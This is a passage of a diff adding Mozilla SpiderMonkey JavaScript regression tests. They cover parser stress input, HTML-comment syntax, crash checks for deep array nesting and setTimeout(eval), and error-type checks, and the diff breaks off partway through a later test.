+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +');
+}
+catch(e)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-31255.js b/js/src/tests/non262/regress/regress-31255.js
new file mode 100644
index 0000000000..fbda8df0d3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-31255.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 November 2002
+ * SUMMARY: JS should treat --> as a single-line comment indicator.
+ * Whitespace may occur before the --> on the same line.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=31255
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=179366 (Rhino version)
+ *
+ * Note: <!--, --> are the HTML multi-line comment opener, closer.
+ * JS already accepted <!-- as a single-line comment indicator.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 31255;
+var summary = 'JS should treat --> as a single-line comment indicator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+<!-- HTML comment start is already a single-line JS comment indicator
+ var x = 1; <!-- until end-of-line
+
+ status = inSection(1);
+actual = (x == 1);
+expect = true;
+addThis();
+
+--> HTML comment end is JS comments until end-of-line
+--> but only if it follows a possible whitespace after line start
+--> so in the following --> should not be treated as comments
+if (x-->0)
+ x = 2;
+
+status = inSection(2);
+actual = (x == 2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-312588.js b/js/src/tests/non262/regress/regress-312588.js
new file mode 100644
index 0000000000..23a597e7ef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-312588.js
@@ -0,0 +1,27 @@
+// |reftest| slow skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312588;
+var summary = 'Do not crash creating infinite array';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var a = new Array();
+
+try
+{
+ for (var i = 0; i < 1e6; i++)
+ (a = new Array(a)).sort();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-314401.js b/js/src/tests/non262/regress/regress-314401.js
new file mode 100644
index 0000000000..e6a9b8f863
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-314401.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 314401;
+var summary = 'setTimeout(eval,0,"",null) should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+gDelayTestDriverEnd = true;
+window.onerror = null;
+
+ try
+ {
+ setTimeout(eval, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+
+ reportCompare(expect, actual, 'setTimeout(eval, 0, "", null)');
+
+ try
+ {
+ setInterval(eval, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+ reportCompare(expect, actual, 'setInterval(eval, 0, "", null)');
+
+ setTimeout('gDelayTestDriverEnd = false; jsTestDriverEnd();', 0);
diff --git a/js/src/tests/non262/regress/regress-315990.js b/js/src/tests/non262/regress/regress-315990.js
new file mode 100644
index 0000000000..78fcf5407c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-315990.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315990;
+var summary = 'this.statement.is.an.error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary + ': function expression');
+
+expect = 'TypeError';
+try
+{
+ (function() {
+ this.statement.is.an.error;
+ })()
+ }
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': function expression');
+
+
+printStatus (summary + ': top level');
+try
+{
+ this.statement.is.an.error;
+}
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': top level');
diff --git a/js/src/tests/non262/regress/regress-317476.js b/js/src/tests/non262/regress/regress-317476.js
new file mode 100644
index 0000000000..dfafa5b0c6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-317476.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317476;
+var summary = 'The error thrown by JS_ReportError should be catchable';
+var actual = 'no error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof setTimeout != 'undefined')
+{
+ expect = 'error';
+ try
+ {
+ setTimeout();
+ }
+ catch(ex)
+ {
+ actual = 'error';
+ printStatus(ex+'');
+ }
+}
+
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-317714-01.js b/js/src/tests/non262/regress/regress-317714-01.js
new file mode 100644
index 0000000000..efa1769f1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-317714-01.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317714;
+var summary = 'Regression test for regression from bug 316885';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var d5="-1";
